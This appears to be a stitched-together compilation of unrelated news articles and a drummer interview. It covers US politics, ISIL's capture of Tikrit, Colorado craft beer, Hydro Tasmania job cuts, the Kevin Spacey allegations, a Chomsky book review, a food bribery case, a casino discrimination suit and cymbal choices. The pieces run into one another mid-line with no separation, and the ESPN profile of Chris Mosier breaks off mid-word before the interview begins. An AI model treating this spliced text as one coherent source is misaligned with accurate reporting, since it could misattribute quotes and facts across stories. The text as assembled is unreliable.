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at the center of a University of Virginia sexual assault case.
Yesterday, police in Charlottesville said they were unable to verify that the alleged sexual assault occurred after a controversial Rolling Stone magazine article detailed the female student's alleged ordeal in 2012 at a fraternity house.
The story has been full of discrepancies, as reports in the Washington Post and elsewhere found, and the magazine has since published an apology.
But Gillibrand said the ire over the case shouldn't shift blame onto victims, who already have a hard time coming forward to authorities.
"Victim blaming or shining the spotlight on her for coming forward is not the right approach," Gillibrand said on "The Capitol Pressroom," a public radio show in Albany. "In fact, what we have to focus on is how do we keep these campuses safe? How do we have better trained personnel on campuses so they can tell a survivor what her options are and so they can have all the facts?"
Gillibrand said it would be wrong for some to call on the female student in the UVA scandal to face criminal charges.
"I think it’s inappropriate," she said. "One of the challenges with survivors of sexual trauma and rape is that they often don’t want to actually participate with law enforcement because they don’t think justice is possible. They don’t think they will be believed; they think they’ll be blamed."
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Gillibrand said her Campus Accountability & Safety Act would provide better rights for victims and those accused of the crimes. She applauded Gov. Andrew Cuomo for a similar initiative, an "Enough is Enough" campaign.
"It’s not about any one case or any one investigation. It’s about a very serious problem that is taking place across campuses across the country," she said.
Read or Share this story: http://lohud.us/1C7OhlCDonald Trump's list of potential running mates has been whittled down to as few as four candidates, said the presumptive Republican nominee's former campaign manager on Thursday.
"The list, when I left, was very very short," said Corey Lewandowski, whose whirlwind week has seen him fired from the businessman's campaign and then picked up by CNN to be a political commentator. "It was ongoing conversations. The individuals who he is talking to about being part of that process have all agreed that they want to be part of that process."
"It's no more than four individuals right now," he told CNN's Erin Burnett, but did not go as far as to mention names. He did say that these individuals are "the absolute best," and are people that "everyone will know."
Lewandowski also denied what he called "speculation" that people considered for the vice presidential spot are not interested in the job.
"They want to do this," Lewandowski said.
Earlier Thursday, Trump admitted that Arkansas Sen. Tom Cotton and New Jersey Gov. Chris Christie, while not guaranteed for a VP pick, are "high on the list" for posts in a Trump administration.As we crack open a fresh new year, it's a good opportunity to gaze deep into the crystalline goblet and make some predictions for what the coming year may hold locally for craft beer.
Building on a very strong 2012 that saw major expansions at the biggest breweries and a proliferation of smaller brewpubs and tasting rooms -- even a home-brewer chef who opened a licensed brewery in his garage -- there's no reason to think that the marked growth and flood of innovative ideas will wane any time soon.
"Craft Brewing is one of the fasting-growing manufacturing industries in Colorado and it will only continue to do so in 2013," said Steve Kurowski, marketing and communications director with the Colorado Brewers Guild. "Breweries are buying real estate, new equipment and adding jobs all the time. This year should be an amazing year for craft beer in Colorado."
Many local breweries are already putting plans into action to continue the momentum and capitalize on new opportunities.
Avery Brewing Co. is moving forward with construction of a much-larger brewhouse and facility in Gunbarrel, and New Belgium and Oskar Blues have opened or are planning new facilities in North Carolina.
Left Hand Brewing Co., another major player, realized its second year of double-digit growth in 2012 and is making good use of its newly expanded capacity to support growing demand.
In addition to new equipment, Left Hand marketing coordinator Emily Armstrong said, the brewery has more than doubled its number of employees, with more hiring on the horizon, and last year raised a total of $276,693 for various charities and nonprofits. This commitment to giving back to the community is an ethic that's shared by many local breweries, both large and small.
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Expect several new openings in 2013 to join those ranks, including Sanitas Brewing Co. in Boulder, founded by Mike Memsic and Chris Coyne, two longtime brewers at Boulder Beer, as well as 300 Suns Brewing, a new venture that's currently looking to set up shop in Longmont. Fate Brewing Co. is slated to open later this month in Boulder.
As for the beer itself, experimenting with barrel aging of all sorts will continue to be popular, as will incorporating ingredients and techniques that meld and blur stylistic boundaries, such as White IPAs. Also expect more canned craft beers, a prospect made easier for smaller local breweries thanks to Mobile Canning, a local business that brings its canning line directly to the brewery.
Kurowski, of the Colorado Brewers Guild, also predicts that Belgian- and Farmhouse-style beer will continue to gain popularity, as will lower-alcohol "session" beers for folks looking for a flavorful beer without so much kick.
Jake Evans, owner and head brewer of Wild Woods Brewery, a nanobrewery and tasting room that opened this past summer in Boulder, agrees.
With session beers, one can "drink a couple pints with friends and have a great conversation in a comfortable environment without having to worry so much about consuming too much alcohol," he said.
Evans has also been experimenting with new hop varieties, several of which have yet to be named, that exhibit a wide variety of flavor and aroma characteristics.
"Showcasing some of these new hops can elevate the most ordinary styles of beer," he said.
Collaboration beers, created through the cooperative efforts of two or more breweries, are also popular and are a fun way to highlight the highly supportive nature of the craft-beer industry.
For example, Boulder Beer marketing director Tess McFadden said the brewery recently collaborated with Mike Lawinski and Jeff Griffith of Fate Brewing Co. to brew a Dark Mild Ale on its pilot system. The beer will be available at Fate's grand opening.
Along with a growing sophistication among brewers, the public is also becoming much more beer savvy.
"More so than ever before, beer drinkers are striving to gain a better understanding of the beverage," said Justin Tilotta, logistics manager at Twisted Pine Brewing Co., which expanded both its brewhouse and tasting room this past year.
Twisted Pine will make use of its new space to host a series of educational classes, seminars and events in 2013 aimed at educating the community about beer and the brewing process.
So pull up a stool, grab a pint and join in the conversation. We're just getting started.
Contact Tom Wilmes at boulderbeerguy@gmail.com.Hydro Tasmania to cut about 100 jobs, cites carbon tax repeal as factor
Updated
Hydro Tasmania has announced it is to cut about 100 jobs, citing the repeal of the carbon tax as a factor.
The state-owned power company attributed the cuts to the scrapping of the carbon tax, doubt over the future of the Renewable Energy Target, and a downturn in the consulting market.
In a statement, Hydro CEO Steve Davy said it would first look to reduce its workforce by natural attrition and a round of voluntary redundancies.
Hydro Tasmania has forecasted a profit of less than $20 million in the coming financial year.
This continues the trend of healthy profits in recent years, including a record pre-tax profit of $238 million for the last financial year.
But last year's windfall became a loss of almost $250 million when massive asset writedowns and the forced acquisition of the Tamar Valley Power Station was taken into account.
And today's statement declared that the outlook for the year ahead was challenging.
The change to the carbon price, this is the consequence - 100 people will lose their jobs. Bryan Green, Tasmania's Opposition Leader
Managers at the firm, which employs about 1,100 people, have briefed their union.
Tasmania's Opposition Leader Bryan Green has blamed the Abbott Government for the cuts.
"The change to the carbon price, this is the consequence - 100 people will lose their jobs," he said.
Cuts come in Hydro Tasmania's centenary year
Yesterday the Federal Government saw its carbon tax repeal bills passed by the Lower House.
And following agreements between Prime Minister Tony Abbott and PUP leader Clive Palmer, whose party members hold sway in the Senate, the Upper House is expected to do the same in July.
However, State Growth Minister Matthew Groom has avoided attributing the cuts to the carbon tax and said: "There are a range of factors at play".
In a statement, Mr Groom said: "Hydro Tasmania has been around for 100 years.
"It was profitable before the carbon tax was introduced in 2012, it will be profitable after the tax is repealed."
The cuts, which will be made over two months, will come in the centenary year of Hydro Tasmania.
Since it began operations, the company has grown into the largest renewable energy producer in Australia, harnessing both wind and water to generate power that feeds into the national grid.
Topics: electricity-energy-and-utilities, business-economics-and-finance, tas
First postedMonday on Fox News Channel’s “The Kelly File,” former Gov. Mike Huckabee (R-AR) weighed in some in the Republican Party’s reluctance to get behind party nominee Donald Trump’s presidential bid.
The former Arkansas governor summed it up as those in his party being fearful of Trump threatening to “mess up the neat little package of fun.”
“Let me tell you something,” Huckabee said. “Here’s a little secret Megyn, a lot of these bed-wetting, hand wringing Republicans, they’re not afraid Donald Trump is going to lose. They’re scared to death he’s going to win. And if he wins he is going to mess up the neat little package of fun they have because they all play to the donor class and Donald Trump is coming to make big changes in the way that these institutions go.”
Follow Jeff Poor on Twitter @jeff_poorTIKRIT Iraq (Reuters) - Sunni rebels from an al Qaeda splinter group overran the Iraqi city of Tikrit on Wednesday and closed in on the biggest oil refinery in the country, making further gains in their rapid military advance against the Shi’ite-led government in Baghdad.
The threat to the Baiji refinery comes after militants from the Islamic State in Iraq and the Levant (ISIL) seized the northern city of Mosul, advancing their aim of creating a Sunni Caliphate straddling the border between Iraq and Syria.
The fall of Mosul, Iraq’s second biggest city, is a blow to Prime Minister Nuri al-Maliki’s attempts to defeat the militants, who have seized territory in Iraq over the past year following the withdrawal of U.S. forces.
About 500,000 Iraqis have fled Mosul, home to 2 million people, and the surrounding province, many seeking safety in the autonomous Kurdistan region.
Having also taken two small towns north of Baghdad, Dhiluiya and Yathrib, the insurgents are in control of between 10 and 15 pct of Iraqi territory, excluding Kurdistan, and have led many Iraqis to fear they have the capital, Baghdad, in their sights.
Security sources said ISIL militants on Wednesday drove more than 60 vehicles into Tikrit, the home town of former Iraqi dictator Saddam Hussein, which lies about 100 miles (160 km) north of Baghdad.
The militants occupied the provincial government headquarters and raised the black flag of ISIL.
“Our forces were caught by surprise, they never expected ISIL would use police and army Humvee vehicles, we mistook them for government forces and it was too late to stop them,” said a police captain who fled from Tikrit to Samarra.
“We are fighting devils and not ordinary people”.
Around 100 ISIL fighters held mass prayers in central Tikrit after taking control.
Foreign Minister Hoshyar Zebari said Iraq’s leaders must unite to face a “mortal” threat. “There has to be a quick response to what has happened,” he said during a trip to Greece.
Zebari said Baghdad would work with forces from Kurdistan in the north to drive the fighters out of Mosul after Iraqi security forces there fled on Tuesday.
CONSPIRACY
Maliki described the fall of Mosul as a “conspiracy” and said those who had abandoned their posts would be punished. He also said Iraqis were volunteering in several provinces to join army brigades to fight ISIL.
In a show of the militants’ reach, a car bombing in a crowded market in the town of Safwan, which sits on Iraq’s southernmost border with Kuwait, killed five people.
In a statement on its Twitter account, ISIL said it had taken Mosul as part of a plan “to conquer the entire state and cleanse it from the apostates”, referring to the province of Nineveh of which the city is the capital.
Militants executed 10 soldiers and policemen on Wednesday near the town of Riyadh, 60 km (40 miles) southwest of Kirkuk, after setting up a checkpoint on the road, police sources said, while in Tikrit six police officers were executed.
In Mosul, 80 Turkish citizens were being held hostage by the militants, the foreign ministry in Ankara said. Turkey threatened to retaliate if any of the group, which included special forces soldiers, diplomats and children, were harmed.
Ambassadors of the NATO defence alliance held an emergency meeting in Brussels at Turkey’s request and Prime Minister Tayyip Erdogan held talks with U.S. Vice President Joe Biden about the developments.
ISIL, led by Abu Bakr al-Baghdadi, broke with al Qaeda’s international leader, Osama bin Laden’s former lieutenant Ayman al-Zawahri, and has clashed with al Qaeda fighters in Syria.
ISIL’s advances show that Iraq’s security forces - trained and equipped by Washington at a cost of nearly $25 billion and numbering more than a million - are outmatched against insurgents who once took on the might of the United States.
Overnight on Tuesday, ISIL militants moved on Baiji, home to Iraq’s largest refinery, which can process 300,000 barrels per day and supplies oil products to most of Iraq’s provinces and as well as Baghdad.
Security sources said the fighters drove into the town of Baiji in armed vehicles, torching the court house and police station before freeing prisoners.
The militants later withdrew into surrounding villages after tribal leaders persuaded them not to take over the energy installations in Baiji, local officials and residents said.
Burnt vehicles belonging to Iraqi security forces are pictured at a checkpoint in east Mosul, one day after radical Sunni Muslim insurgents seized control of the city, June 11, 2014. REUTERS/Stringer
However, the violence in Iraq prompted fears about the outlook for oil supplies, with futures prices in New York pushed higher towards $110 a barrel.
DOMINANT PLAYER
ISIL has become a dominant player in Iraq and Syria, where it has seized a string of cities over the past year, often fighting other Sunni groups.
The United States expressed concern about the deteriorating security situation in Iraq and pledged “any appropriate assistance” to help the Iraqi government.
White House spokesman Josh Earnest told reporters on Air Force One: “There’s no doubt that the situation has deteriorated over the last 24 hours.
“The deterioration of security is rapidly becoming a humanitarian issue and requires a coordinated response by Iraqi leaders across the country to halt the advances that the ISIL has made and regain control of territory currently in ISIL’s hands,” he added.
In Washington, State Department spokeswoman Jen Psaki said the United States believed that the Baiji refinery remained under control of the Iraqi government.
ISIL control in the Sunni Anbar province as well as around Mosul would help the Islamist group consolidate its grip along the frontier with Syria, where it is fighting President Bashar al-Assad, an ally of Shi’ite Iran.
Members of Iraq’s Shi’ite majority have also been crossing the border to fight in Syria alongside Assad’s forces.
In Sadr city, a Shi’ite slum in Baghdad, men were stockpiling weapons in anticipation of a battle against ISIL.
“The army has proven to be a big failure. People have begun to depend on themselves because ISIL may enter Baghdad any minute,” said Muhannad al-Darraji from Sadr City.
At about the same time, a suicide bomber blew himself up in Sadr City, killing at least 38 people. A further 18 people were killed when a car bomb exploded near the northern Kadhimiya district, where there is a Shi’ite shrine.
Slideshow (4 Images)
DISPLACEMENT
The governor of Mosul blamed Maliki for failing to act upon his warnings about the threat of ISIL.
“The entry of ISIL to Mosul was through the desert from Syria,” Atheel al-Nujaifi said. “There are camps in the desert and we have repeatedly asked the government to bomb these camps instead of luring ISIL into the cities to fight it.”
At a checkpoint on the road between Mosul and Arbil, residents who fled with little more than the clothes on their backs were stunned by the turn of events.
A 40-year-old man who fled the city with his family said: “We are frightened because we don’t know who they are. They call themselves revolutionaries. They told us not to be scared and that they came to liberate and free us from oppression.”"I take reports of such behavior seriously and this is no exception," the former showrunner of the political drama said Monday in a statement.
House of Cards creator Beau Willimon is speaking out about the recent allegations made against series star Kevin Spacey.
On Sunday, Star Trek actor Anthony Rapp accused Spacey of making a pass towards him when Rapp was just 14 years old.
"Anthony Rapp’s story is deeply troubling," Willimon said Monday in a statement. "During the time I worked with Kevin Spacey on House of Cards, I neither witnessed nor was aware of any inappropriate behavior on set or off. That said, I take reports of such behavior seriously and this is no exception. I feel for Mr. Rapp and I support his courage."
Spacey tweeted his "sincerest apology" to Rapp shortly after the allegations were published on Buzzfeed. In his statement, in which the actor said he did not remember the incident, he also came out as a gay man.
However, Spacey's decision to come out in the same statement as his apology to Rapp has drawn criticism from many in Hollywood. GLAAD president and CEO Sarah Kate Ellis issued a terse statement Monday: "Coming-out stories should not be used to deflect from allegations of sexual assault. This is not a coming-out story about Kevin Spacey, but a story of survivorship by Anthony Rapp and all those who bravely speak out against unwanted sexual advances. The media and public should not gloss over that."
Rapp claimed the incident with Spacey occurred in 1986 when both were starring in Broadway shows and when Spacey was 26. Rapp says he attended a party at Spacey's apartment and when the other guests had gone home for the evening, Spacey picked Rapp up, put him on his bed and laid down on top of him before he eventually left Spacey's apartment.
Spacey and Willimon worked together for four seasons of Netflix's House of Cards, when Willimon served as showrunner. He exited the series ahead of season five, which launched in May. The series, which Spacey stars in and executive produces, has not yet been renewed for a sixth season. However, filming has already begun on new episodes, as confirmed when a shooter opened fire at a Maryland office park near the political drama's soundstage.
Willimon is currently working on the Hulu space drama The First.
Spacey is the latest figure to be hit by sexual harassment allegations. Others include film producer Harvey Weinstein, director James Toback, The Circus co-host Mark Halperin and former Fox News mainstays Roger Ailes and Bill O'Reilly.
According to The Independent, Royal Court Theatre artistic director Victoria Featherstone opened up about past "concerns" about Spacey when he working in London as artistic director of the Old Vic. "I think that many people in the theater and in the creative industries have been aware of many stories of many people over a lot of years, and Kevin Spacey would be one of the people that people have had concerns about, yes," she said on Radio 4's Today show during a discussion about sexual misconduct.Noam Chomsky is one of the most hysterically abused figures in the world today. Even his critics have to concede that his work in the field of linguistics – beginning to decode the structure of how language is formed in the human brain – makes him one of the most important intellectuals alive. But when he applies the same rigorous method to figuring out how power – especially the American government's – works, he is pepper-sprayed with smears. He is a self-hating Holocaust denier, a jihad-loving traitor, a Pol Pot-licking communist, and on and on.
If all you know of his work is the smears, then Hopes and Prospects will be a revelation. In his dry, understated way, he excavates the reality behind the Babel of 24/7 corporate news, and places long-buried truths on the table to examine. Every one is sourced to the leading academic journals, the best experts, the sharpest medical advice – yet each one is a shock if you rely on news brought to you by corporations and corrupt right-wing billionaires.
For example, he uncovers the story of why Haiti is so poor, and could be shaken to pieces by an earthquake that would have killed only a handful in California. It's a story of man-made earthquakes, one after another. The country was the first to rebel against slavery and to cast off the whip-hand – and was brutally punished by the French Empire. Every time it has begun to rise to its feet, it has been kicked back down, with the American Empire taking over to topple its elected leaders (the last was put on a plane at gunpoint in 2008) and stifle any moves towards development.
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But who has heard about it? Who tries to hold our leaders accountable for it? Chomsky is trying to rescue crimes from the memory-hole. He explains that Ronald Reagan – the great hero of the US right – was a great champion of jihadism. It was Reagan who encouraged Pakistan simultaneously to become fundamentalist, and acquire nuclear weapons. Chomsky coolly condemns "the global jihad launched by Zia and Reagan," for geopolitical reasons, with no concern for the after-effects.
But Reagan remains unstained. Chomsky quotes the great American historian Francis Jennings, who noted that "In history, the man in the ruffled shirt and gold-coated waistcoat levitates above the blood he has ordered to be spilled by dirty-handed underlings." Instead, Chomsky says, history is too often ruled by Thucydides's maxim: "The strong do as they wish, while the poor suffer as they must."
It doesn't have to be this way. This is a book woven through with hope and awe at all the people who slip beyond imperial control and establish real democracy. Chomsky's strongest model – and the world's – is Bolivia's experiment with radical democracy. After 30 years of having neoliberalism forced on them by the West, including the cost of water pushed beyond their grasp, the Bolivian people elected the first indigenous leader since the European conquests. Since then, it has had the fastest fall in poverty and the most rapid growth in Latin America.
In his cool blizzard of facts and sources, the hot air of his critics seems to melt away. To pluck one example, the leftist-turned-neocon supporter Nick Cohen has accused Chomsky of being soft on jihadism (as well as of "not being bothered" by "the crimes of Adolf Hitler"). Yet Chomsky points out that an analysis of official data for the government-supported RAND corporation found that the invasion of Iraq caused a "seven-fold increase in jihadism." If you really hate jihadism, you have to figure out what reduces it, rather than engage in bluster. Chomsky supported the path that produces fewer jihadis, while Cohen supports the path that produces more.
Chomsky presents all this plainly, and a sly sense of humour. Describing the growing rebellions in Afghanistan, he notes: "People have the odd characteristic of objecting to the slaughter of family members and friends." When I was shamefully wrong about the war in Iraq, it was an email exchange with Chomsky – where he laid bare the best evidence about what was motivating the US government – that helped me figure out where I had erred.
Hopes and Prospects is a book that can do the same for many more people – a treasure-trove of truths that shouldn't be left buried in our sandpit of propaganda and lies.At the very least, we should be able to count on the integrity of our food supply. But we can't. Between corrupt practices like this and the gutting of the FDA during the Bush years, every time we put something into our mouths that wasn't grown and bought locally, we're taking a chance:
Robert Watson, a top ingredient buyer for Kraft Foods, needed $20,000 to pay his taxes. So he called a broker for a California tomato processor that for years had been paying him bribes to get its products into Kraft’s plants.
[...] Over the last 14 months, Mr. Watson and three other purchasing managers, at Frito-Lay, Safeway and B&G Foods, have pleaded guilty to taking bribes. Five people connected to one of the nation’s largest tomato processors, SK Foods, have also admitted taking part in the scheme.
Now, federal prosecutors in California have taken aim at the owner of SK Foods, who they say spearheaded the far-reaching plot. The man, Frederick Scott Salyer, was arrested at Kennedy Airport in New York City on Feb. 4 after getting off a flight from Switzerland. He was indicted last week on racketeering, fraud and obstruction of justice charges.
The scheme, as laid out by federal prosecutors, has two parts. Officials say that Mr. Salyer and others at SK Foods greased the palms of a handful of corporate buyers in exchange for lucrative contracts and confidential information on bids submitted by competitors. This most likely drove up ingredient prices for the big food companies.
In addition, prosecutors say that for years, SK Foods shipped its customers millions of pounds of bulk tomato paste and puree that fell short of basic quality standards — with falsified documentation to mask the problems. Often that meant mold counts so high the sale should have been prohibited under federal law; at other times it involved breaching specifications in the sales contracts, such as acidity levels or the age of the product.A new study aims to curb physician bias regarding obesity by changing attitudes in the medical school classroom. File photo by Alexis C. Glenn/UPI | License Photo
July 31 (UPI) -- Researchers at Touro University College of Osteopathic Medicine launched an educational initiative to reduce medical students' bias toward obese patients.
The study, published in the August edition of The Journal of the American Osteopathic Association, suggests shifting physicians' perspective from individual responsibility to a treatable condition may impact rising obesity rates.
"We know there are economic, cultural, political and environmental elements causing this problem, yet our approach to treatment puts sole responsibility on the patient's behavior," Michael Clearfield, dean of Touro University's College of Osteopathic Medicine, said in a press release. "It's not unlike the way we treated depression 40 years ago. Only, instead of telling people to 'get over it', we say, 'just eat right and exercise.'"
The new curriculum for students at Touro University launched in 2012 and measures medical students' attitudes on the Fat Phobia Scale, which measures biased beliefs in stereotypes.
Students then get instruction on the causes and treatments of obesity with follow-up testing for every year of medical school.
Researchers found that students who completed the program significantly reduced their bias by an average of 7 percent.
"Sometimes physicians don't believe that obese people will take care of themselves, so they spend less time with them and, as a result, they miss things in their examinations," Clearfield said.
Clearfield said that patients often sense physicians' attitudes toward them, feel embarrassed and stop following medical advice as a result.
"With an improved diet, we can get measurably healthier in just 7 to 10 days," Clearfield said. "From an osteopathic perspective, we need to acknowledge the importance of those small steps so physicians don't give up on patients and patients don't give up on themselves."Japan has launched the second in its new class of helicopter carrier — the largest Japanese ships since World War II — in a Thursday ceremony in Yokohama.
The 24,000-ton Kaga (DDH-184) — built by ship builder Japan Marine United — bears the same name as the World War II Imperial Japanese Navy carrier Kaga that was part of Pearl Harbor attack and was sunk in the Battle Midway.
The ship follows JS Izumo (DDH-183) which entered service in the Japanese Maritime Self Defense Force (JMSDF) in March.
The Japanese have said the primary roles of the two ships are anti-submarine warfare (ASW) and humanitarian aid and disaster relief (HADR) operations.
The ships “heightens our ability to deal with Chinese submarines that have become more difficult to detect,” a JMSDF officer told Asahi Shimbum in March.
The ships will field seven Mitsubishi-built SH-60k ASW helicopters and seven AgustaWestland MCM-101 mine countermeasure (MCM) helicopters, U.S. Naval Institute’s Combat Fleets of the World.
There is a potential for the two ships to work with American MV-22s and potentially the short takeoff and vertical landing variant of the Lockheed Martin F-35 Lighting II Joint Strike Fighter (JSF). However, the Japanese say they have no plans to operate the JSF from either ship.
When Kaga commissions Japan will have four helicopter carriers. Along with Izumo, Japan has 18,300-ton Hyuga-class helicopter carriers already in commission.Formed in 2011 by creative veterans with more than 50 years of film and storytelling experience at Pixar Animation Studios and Lucasfilm, Steel Wool Studios experimented with narrative-driven gameplay experiences on mobile with the debut of 2D platformer Flyhunter Origins. In 2014, the studio shifted its focus to virtual reality, developing Quar: Battle for Gate 18 in time to debut as a HTC Vive launch title in April 2016. Quar received critical praise and high ratings on Steam for its tight, turn-based strategy gameplay that transformed players into an army commander operating high above his troops or down on the ground fighting in the ranks.
“After earning our stripes with Quar, we went all-in on creating content for VR, a medium we’ve been waiting for our whole lives,” said Andrew Dayton, co-founder, Steel Wool Studios. “HTC’s investment gives us the ability to explore and push the limits of VR through the completion of projects we hope will excite everyone as much as we’ve enjoyed building them.”
The company also received early investment from Charles Huang, an angel investor and serial entrepreneur who co-founded RedOctane and invented the multi-billion dollar video game franchise Guitar Hero. Huang currently oversees a portfolio of companies and brands that span video games, connected home technology, children’s entertainment, fashion technology, and health and wellness, among others. Huang is a board member at Steel Wool Studios.CALGARY – Prime Minister Justin Trudeau pushed back at critics who say changes made to employment insurance to help the struggling energy sector don’t go far enough.
Trudeau said in an interview with Global Calgary that people in Edmonton and Saskatchewan who complain of being left out of changes to the program should feel fortunate their areas have not been harder hit by the downturn in energy prices.
“I think that both people in Edmonton and Saskatchewan should be pleased that they are not hit as hard as other parts of the country and indeed the province have been,” Trudeau said in the interview that aired at 6 p.m. Tuesday.
“We’re of course going to keep monitoring to make sure we’re doing everything we can for the places that need it.”
Last week’s federal budget boosted employment insurance benefits in some parts of the country, but left some areas of the oilpatch out.
The government said it picked 12 regions that needed the most help with extra weeks of benefits for jobless workers. Those include Newfoundland and Labrador, parts of northern and southern Alberta, northern British Columbia, northern Manitoba, northern Ontario, northern Saskatchewan, Whitehorse and Nunavut.
Calgary is on the list, but Edmonton isn’t and Saskatchewan Premier Brad Wall has complained that large parts of his province have also been shut out.
“We’ve heard the federal government say, well, they just sort of used this formula approach, they looked at where unemployment was high and decided to extend benefits in those narrow regions,” Wall said Tuesday.
“But if it’s about helping the oil sector, how can you miss two-thirds of our oilpatch? I am hopeful that they will (change their position on that).”
Trudeau was in Calgary for an EI roundtable where he met with a dozen individuals, including some whose benefits had run out and others receiving the benefit to get their views on what could be done better.
But the prime minister wouldn’t specifically commit to further improvements to employment insurance, adding the government is always considering ways “to improve or increase that impact if necessary.”
Trudeau said previous governments were keen to announce programs, but not so good at following up to make sure they were having the desired effect.
Jill Fink said she appreciated Trudeau taking the time to talk to unemployed workers. She applied for EI in February after she lost her job in the non-profit sector.
“The prime minister made a real effort to speak to everyone in the room, which I think was very kind,” she said.
Fink told Trudeau she is worried about people who don’t have enough savings and support while unemployed.
“He spoke to creating things that work for all Canadians and support people in the right place at the right time.”
Alex Kent, who also took part in the roundtable, lost his job as an environmental consultant last year when his company downsized. His employment benefits have run out and he has sent 130 resumes to as far away as Ontario.
He’s had no luck.
“I told him a bit of my story, but also asked him what his government will do to try to escape the boom-and-bust cycle,” Kent said.
“Is the government trying to be different and do different things?”A dozen former workers have sued the Golden Mardi Gras casino in Black Hawk claiming the company discriminated against them by laying off 60 mostly older and female employees one month and then replacing them with younger, less qualified staffers the following month.
The lawsuit was filed Sunday U.S. District Court in Denver on behalf of a dozen former casino workers including blackjack dealers, drink servers and bankers by Lisa Sahli, an attorney from San Luis Obispo, Calif.
It names Golden Mardi Gras parent company, Affinity Gaming of Las Vegas, which purchased the casino and two other Black Hawk casinos in November of 2012, as a defendant.
The company immediately required all Golden Mardi Gras employees to reapply for their jobs and in January of 2013, laid off 60 employees despite adequate or superior job ratings, the lawsuit says. It then hired 59 younger employees in February of 2013, it says.
Affinity Gaming officials could not immediately be reached for comment on Tuesday morning.
The former Mardi Gras employees, ranging in age from 43 to 74, are seeking unspecified compensation for lost wages, pension benefits and punitive damages.
Nine of the 12 plaintiffs in the case were women. The lawsuit accuses the Black Hawk casino of targeting older women including 74-year-old Georgean LaBute of gender discrimination.
The plaintiffs also include black jack dealers Kurt Arntsen, 60, and John Roberts, 62, both dedicated employees. Roberts had prided himself at being able to keep gamblers at his table for lengthy periods of time.
It also accuses Mardi Gra of violating the Family Medical Leave Act by firing Annette Trujillo two weeks after she applied for a leave to care for her father, who was suffering from bone cancer.
When the manager fired employees, they were given explanations including, “I don’t know why,” and “you are not what Affinity is looking for.”At the duathlon national championship, Chris Mosier became the first openly transgender athlete to qualify for Team USA in the gender with which he identifies. He describes his decision to transition and explains why he belongs on the starting line. (4:26)
This story is part of ESPN's ongoing series exploring what it means to be an openly gay athlete in the post-acceptance world. Look for stories on Derrick Gordon, Megan Rapinoe and others in ESPN The Magazine's Being Out Issue, on newsstands Oct. 30. Subscribe today!
BY THE TIME Chris Mosier hit the ice machine in the Ramada Inn lobby at 8:30 a.m., he'd already run 20 miles, wending through the silent streets and wooded bike paths of Marquette, Michigan, and along the shoreline of Lake Superior.
As a recently qualified member of the U.S. national triathlon team -- his event is the sprint duathlon, a run-cycle-run race -- Mosier is training for his first world championship in Spain next June. Ice baths are part of the 35-year-old's regimen, so Mosier holds the clear, flimsy bag from his room's trash can under the machine, trying to collect enough to fill his tub in a few trips from the eighth floor.
Back in his room, Mosier takes off his running shirt, drapes his head and muscled shoulders with a hotel towel and winces as he steps into the ice bath. He sits down with a violent exhale and a shudder. "Oooh, it's pretty bad," he moans. He exh |
and end naturally. I can't be objective. Subjectively, I enjoy doing it and like listening to it. It's a good solo. Nondrummers have told me it's a nice drum solo to listen to.
CI: Do you have any advice for the young drummers with aspirations of someday playing in a musical situation similar to your own?
NP: I used to try to give people advice but the more I learned, the more I realized that my advice could only be based on both my values and my experiences. Neither of which are going to be shared by very many people. I would say to them, 'Go for what you're after.' I can't get much more complicated that that. I don't feel comfortable telling people what to do.
CI: Have you ever taught private students'?
NP: No, I haven't. I've been asked to do clinics which I'm interested in, but fearful of. But I would like to get into doing that, relating to people on that level. I like to talk about drums. I like to talk about things I'm interested in. For me to talk about things I'm honestly interested in, and obviously drums is one of them, is foremost.
CI: What are your thoughts on interviews?
NP: I won't do an interview for a promotional reason. I do them because I like to get my ideas out. Sometimes, I can talk about something in an interview and realize that I was totally wrong. And I'll have had the opportunity to air those thoughts out which most people don't. You don't have conversations with your friends about metaphysics, the fundamentals of music, and the fundamentals of yourself really. When I do an interview, I look for an ideal. I'm looking for an interview that's going to be stimulating, and I'll get right into it. Just sit for hours and relate. That's an ideal, like an ideal show. It doesn't happen that often.
CI: Before setting up your kit, your roadie Larry Allen cleaned and polished each cymbal to a high gloss and cleaned all the chrome. Does he take this great care as per your instruction, or is this something Larry does on his own? '
NP: That's a reflection of Larry's care. He takes a lot of pride in having the set sparkle and the cymbals shining. On his side I relate to that, but it doesn't affect me really one way or the other.
CI: Do you hear a difference in the brilliance of the sound when your cymbals are clean instead of tarnished?
NP: No, not really. It's hard to justify really. To me a good cymbal sounds good, and a bad cymbal doesn't sound good. That's the way I feel about it. My 20" crash has a very warm, rich sound with a lot of good decay. I don't think dirt would improve that.
CI: Some drummers feel that as the cymbal is played, gets dirty, and gets tarnished, it takes on a certain character all its own. Do you think it is really the aging process which is the factor?
NP: Yes, I think age has something to do with that. But the cymbal is metal, how can dirt make it sound better? If you don't want the decay, stick a piece of tape on it. It'll do the same thing dirt will do. It may be true that dirt is a factor. But it won't give it a warmer sound by definition, because the note of the cymbal is still the note of the cymbal.
CI: The dirt will only affect the sustain.
NP: Exactly. So if you want a shorter sustain, get it dirty. My cymbals are chosen for the length of decay that I want. And a certain frequency range. The amount of decay is especially crucial.
CI: Tell me about that Chinese cymbal you're using. It sounds great!
NP: I had an awful time trying to get into China cymbals. I bought an 18" pang, just looking for the Chinese sound. It had a good sound and I found myself using it for different effects. But it's almost a whispery, electronic sound. When I listen to its sound in the studio, or on a tape it sounds like a phaser. It has a warm sort of sound, but it didn't have the attack I was looking for. So I got the Zildjian China type which had that, but also a lot of sustain. Larry picked this one up at Frank's Drum Shop. It was made in China. It's a 20" with a little more bottom end to its sound.
CI: For the size of your set up I was somewhat surprised to see you using 13" hi-hats. Why 13V?
NP: I've always used 13's. I use a certain hi-hat punctuation that doesn't work with any other size. I've tried 14's, and everytime we go into the studio our coproducer Terry Brown, wants me to use 14" hi-hat cymbals. I've tried them. I'm an open-minded guy. But it just doesn't happen for me.
CI: Are they just conventional hats?
NP: Just conventional, regular old hihats. We work with a band a lot called Max Webster, and their drummer and I work very closely, listening to each other's drums. Webster told me not to change that hi-hat, because for any open hat work or any choke work, it's so quick and clean. It just wouldn't work with 14's. The decay is too slow.
CI: Are you talking about that particular pair of 13's or any 13's?
NP: Well any 13's for me. I've gone through about three sets of I3's in the last 8 or 9 years. And they've all sounded good. When I found myself to be one of the only drummers around using 13's, I tried others, but either my style developed with 13" cymbals or the 13" cymbals were an important part of my style.
CI: You are using Evans heads on your toms.
